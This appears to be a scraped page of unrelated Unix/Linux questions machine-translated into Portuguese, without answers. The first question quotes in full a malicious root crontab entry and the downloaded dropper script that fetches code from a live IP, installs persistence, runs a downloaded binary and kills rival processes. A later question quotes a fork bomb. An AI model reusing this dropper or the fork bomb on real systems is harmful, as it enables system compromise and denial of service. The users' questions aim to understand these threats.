All perguntas(unix)

Eu queria adicionar algo ao meu arquivo crontab raiz no meu Raspberry Pi e encontrei uma entrada que parece suspeita para mim, procurando partes dela no Google não resultou em nada.

Entrada do crontab:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh

O conteúdo de http://103.219.112.66:8000/i.shsão:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep xribfa4 || rm -rf xribfa4
if [ ! -f "xribfa4" ]; then
    curl -fsSL -m1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -o xribfa4||wget -q -T1800 http://103.219.112.66:8000/static/4004/ddgs.$(uname -m) -O xribfa4
fi
chmod +x xribfa4
/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4

ps auxf | grep -v grep | grep xribbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbcd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribbce | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa0 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa1 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa2 | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep xribfa3 | awk '{print $2}' | xargs kill -9

echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" | crontab -

Meu conhecimento em Linux é limitado, mas para mim parece que baixar binários de um servidor indonésio e executá-los como root regularmente não é algo comum.

O que é isto? O que devo fazer?

Questão:

De vez em quando eu preciso fazer aritmética simples em um ambiente de linha de comando. EG dado a seguinte saída:

Disk /dev/sdb: 256GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Disk Flags: 

Number  Start   End     Size    File system     Name  Flags
 1      1049kB  106MB   105MB   fat32                 hidden, diag
 2      106MB   64.1GB  64.0GB  ext4
 3      64.1GB  192GB   128GB   ext4
 5      236GB   256GB   20.0GB  linux-swap(v1)

Qual é uma maneira simples de calcular na linha de comando o tamanho do espaço não alocado entre a partição 3 e 5?

O que eu já tentei:

bc

bc
bc 1.06.95
Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006 Free Software Foundation, Inc.
This is free software with ABSOLUTELY NO WARRANTY.
For details type `warranty'. 
236-192
44
quit

onde o negrito acima é tudo o que preciso digitar para fazer um simples 236-192como bc 1+1echoesFile 1+1 is unavailable.

exp

expr 236 - 192

onde eu preciso digitar espaços antes e depois do operador como expr 1+1apenas ecos 1+1.

Recentemente eu estive desenterrando informações sobre processos no GNU/Linux e encontrei a infame bomba fork :

:(){ : | :& }; :

Teoricamente, ele deve se duplicar infinitamente até que o sistema fique sem recursos...

No entanto, eu tentei testar tanto em uma distro CLI Debian quanto em uma GUI Mint , e isso não parece afetar muito o sistema. Sim, existem muitos processos criados e, depois de um tempo, li mensagens do console como:

bash: fork: recurso temporariamente indisponível

bash: fork: retry: nenhum processo filho

Mas depois de algum tempo, todos os processos são mortos e tudo volta ao normal. Eu li que o ulimit definiu uma quantidade máxima de processo por usuário, mas não consigo aumentá-lo muito longe.

Quais são as proteções do sistema contra uma fork-bomb? Por que não se replica até que tudo congele ou pelo menos fique muito atrasado? Existe uma maneira de realmente travar um sistema com uma bomba de garfo?

Eu costumava pensar que as alterações do arquivo são salvas diretamente no disco, ou seja, assim que eu fecho o arquivo e decido clicar/selecionar salvar. No entanto, em uma conversa recente, um amigo meu me disse que isso geralmente não é verdade; o sistema operacional (especificamente estávamos falando sobre sistemas Linux) mantém as alterações na memória e possui um daemon que realmente grava o conteúdo da memória no disco.

Ele ainda deu o exemplo de drives flash externos: estes são montados no sistema (copiados na memória) e às vezes ocorre perda de dados porque o daemon ainda não salvou o conteúdo na memória flash; é por isso que desmontamos pen drives.

Não tenho conhecimento sobre o funcionamento de sistemas operacionais e, portanto, não tenho absolutamente nenhuma ideia se isso é verdade e em quais circunstâncias. Minha principal pergunta é: isso acontece como descrito em sistemas Linux/Unix (e talvez outros sistemas operacionais)? Por exemplo, isso significa que se eu desligar o computador imediatamente após editar e salvar um arquivo, minhas alterações provavelmente serão perdidas? Talvez isso dependa do tipo de disco - discos rígidos tradicionais versus discos de estado sólido?

A questão refere-se especificamente a sistemas de arquivos que possuem um disco para armazenar as informações, mesmo que qualquer esclarecimento ou comparação seja bem recebido.

Criei um certificado autoassinado para foo.localhost usando uma recomendação do Let's Encrypt usando este Makefile:

include ../.env

configuration = csr.cnf
certificate = self-signed.crt
key = self-signed.key

.PHONY: all
all: $(certificate)

$(certificate): $(configuration)
    openssl req -x509 -out $@ -keyout $(key) -newkey rsa:2048 -nodes -sha256 -subj '/CN=$(HOSTNAME)' -extensions EXT -config $(configuration)

$(configuration):
    printf "[dn]\nCN=$(HOSTNAME)\n[req]\ndistinguished_name = dn\n[EXT]\nsubjectAltName=DNS:$(HOSTNAME)\nkeyUsage=digitalSignature\nextendedKeyUsage=serverAuth" > $@

.PHONY: clean
clean:
    $(RM) $(configuration)

Eu então atribuí isso a um servidor web. Verifiquei que o servidor retorna o certificado relevante:

$ openssl s_client -showcerts -connect foo.localhost:8443 < /dev/null
CONNECTED(00000003)
depth=0 CN = foo.localhost
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = foo.localhost
verify error:num=21:unable to verify the first certificate
verify return:1
---
Certificate chain
 0 s:/CN=foo.localhost
   i:/CN=foo.localhost
-----BEGIN CERTIFICATE-----
[…]
-----END CERTIFICATE-----
---
Server certificate
subject=/CN=foo.localhost
issuer=/CN=foo.localhost
---
No client certificate CA names sent
Peer signing digest: SHA512
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1330 bytes and written 269 bytes
Verification error: unable to verify the first certificate
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES128-GCM-SHA256
    Session-ID: […]
    Session-ID-ctx: 
    Master-Key: […]
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    TLS session ticket:
    […]

    Start Time: 1529622990
    Timeout   : 7200 (sec)
    Verify return code: 21 (unable to verify the first certificate)
    Extended master secret: no
---
DONE

Como faço para que o cURL confie nele sem modificar nada em /etc? --cacertnão funciona, presumivelmente porque não há CA:

$ curl --cacert tls/foo.localhost.crt 'https://foo.localhost:8443/'
curl: (60) SSL certificate problem: unable to get local issuer certificate
More details here: https://curl.haxx.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

O objetivo é habilitar HTTPS durante o desenvolvimento:

• Não posso ter um certificado completamente semelhante à produção sem muito trabalho para habilitar a verificação de DNS em todos os ambientes de desenvolvimento. Portanto, tenho que usar um certificado autoassinado.
• Obviamente, ainda quero tornar meu ambiente de desenvolvimento o mais semelhante possível à produção, portanto, não posso simplesmente ignorar todos e quaisquer problemas de certificado. curl -ké como catch (Exception e) {}neste caso - nada como um navegador conversando com um servidor web.

Em outras palavras, ao correr curl [something] https://project.local/api/foo, quero ter certeza de que

1. se o TLS estiver configurado corretamente, exceto por ter um certificado autoassinado, o comando será bem-sucedido e
2. se eu tiver algum problema com minha configuração de TLS, exceto por ter um certificado autoassinado, o comando falhará.

Usando HTTP ou --insecurefalha no segundo critério.

No Programa 1 Hello worldé impresso apenas uma vez, mas quando eu removo \ne executo (Programa 2), a saída é impressa 8 vezes. Alguém pode me explicar o significado de \naqui e como isso afeta o fork()?

Programa 1

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
    printf("hello world...\n");
    fork();
    fork();
    fork();
}

Saída 1:

hello world... 

Programa 2

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
    printf("hello world...");
    fork();
    fork();
    fork();
}

Saída 2:

hello world... hello world...hello world...hello world...hello world...hello world...hello world...hello world...

entrada json:

[
  {
    "id": "89",
    "hostname": "abcd"
  },
  {
    "id": "89",
    "hostname": "babcd"
  }
]

Como modificar o filtro abaixo para obter apenas o nome do host começando com "abcd"?

$ jq -r '.[]|select(.hostname | contains("abcd"))' jjjj
{
  "id": "89",
  "hostname": "abcd"
}
{
  "id": "89",
  "hostname": "babcd"
}
$ jq -r '.[]|select(.hostname | contains("^abcd"))' jjjj
$

Tentei usar sha256sumem High Sierra; Eu tentei instalá-lo com MacPorts, como:

sudo port install sha256sum

Não funcionou.

O que fazer?

Estou tentando reiniciar os serviços após um yum updateno RHEL 7.4. needs-restartingEu poderia reiniciar todos os serviços usando systemctl, mas yum utilsme diz que também devo reiniciar o próprio systemd:

# needs-restarting
1 : /usr/lib/systemd/systemd --system --deserialize 21

Posso reiniciar systemdsem reiniciar o servidor e como?

Encontrei algumas menções a systemctl daemon-reload, mas isso não o faz desaparecer da lista de necessidade de reinicialização.

Desculpas, este título não é o mais elegante que já imaginei.

Mas suponho que muitas pessoas devem ter se perguntado isso, e minha pergunta pode ser falsa ... tudo o que posso dizer é que não encontrei.

Quando digo "rolar" para cima, quero dizer usar a tecla "seta para cima" no teclado, que obviamente faz você rolar para cima no histórico, começando no comando mais recente.

Então você encontra um comando talvez 30 comandos atrás... e você o executa. E então você deseja executar o comando que veio originalmente depois dele ... existe uma maneira rápida de fazer isso? Ou como os fluentes em BASH fazem isso?